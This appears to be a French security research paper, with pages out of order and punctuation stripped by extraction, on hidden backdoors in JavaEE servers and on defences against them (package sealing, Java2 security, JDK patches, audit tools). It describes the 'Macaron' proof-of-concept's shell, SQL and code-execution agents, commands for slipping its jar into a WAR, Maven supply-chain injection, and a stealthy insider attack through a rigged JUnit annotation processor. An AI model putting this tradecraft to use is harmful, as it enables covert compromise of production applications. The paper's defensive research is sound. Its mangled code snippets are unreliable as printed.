De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
P Prados 413
Fig 9 JNDI
La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes
Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont
cd ltJMX name gt
ls
ltattr gt=ltvaleur gt
method(ltparams gt)
Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut
La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees
Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration
414 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 10 JMX
Fig 11 JDBC
P Prados 415
Fig 12 JavaJavascript
Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur
Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur
Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest
pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur
Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK
Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur
Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI
416 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 13 Shell
Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles
3 Demonstration
Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution
Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire
Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire
Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee
Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee
P Prados 417
Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement
Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage
Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications
Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges
Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour
augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves
ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE
Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela
31 Execution
Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent
La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant
Chaque agent utilise un protocole qui lui est propre
32 Executer la demonstration
Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication
Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
